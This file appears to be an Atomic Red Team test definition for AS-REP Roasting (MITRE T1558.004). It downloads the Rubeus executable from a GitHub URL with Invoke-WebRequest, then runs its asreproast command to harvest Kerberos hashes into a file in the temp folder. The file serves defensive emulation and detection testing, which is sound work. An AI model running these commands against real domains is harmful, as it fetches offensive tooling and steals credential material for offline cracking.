attack_technique: T1558.004
display_name: 'Steal or Forge Kerberos Tickets: AS-REP Roasting'
atomic_tests:
- name: Rubeus asreproast
  auto_generated_guid: 615bd568-2859-41b5-9aed-61f6a88e48dd
  description: |
    Information on the Rubeus tool and it's creators found here: https://github.com/GhostPack/Rubeus#asreproast
    This build targets .NET 4.5.  If targeting a different version you will need to compile Rubeus
  supported_platforms:
  - windows
  input_arguments:
    local_folder:
      description: Local path of Rubeus executable
      type: Path
      default: $Env:temp
    local_executable:
      description: name of the rubeus executable
      type: String
      default: 'rubeus.exe'
    out_file:
      description: file where command results are stored
      type: String
      default: rubeus_output.txt
    rubeus_url:
      description: URL of Rubeus executable
      type: Url
      default: https://github.com/morgansec/Rubeus/raw/de21c6607e9a07182a2d2eea20bb67a22d3fbf95/Rubeus/bin/Debug/Rubeus45.exe
  dependency_executor_name: powershell
  dependencies:
  - description: |
      Computer must be domain joined
    prereq_command: |
      if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1}
    get_prereq_command: |
      Write-Host Joining this computer to a domain must be done manually
  - description: |
      Rubeus must exist
    prereq_command: |
      if(Test-Path -Path #{local_folder}\#{local_executable}) {exit 0} else {exit 1}
    get_prereq_command: |
      Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable}
  executor:
    command: |
      cmd.exe /c "#{local_folder}\#{local_executable}" asreproast /outfile:"#{local_folder}\#{out_file}"
    cleanup_command: |
      Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore
    name: powershell
    elevation_required: false
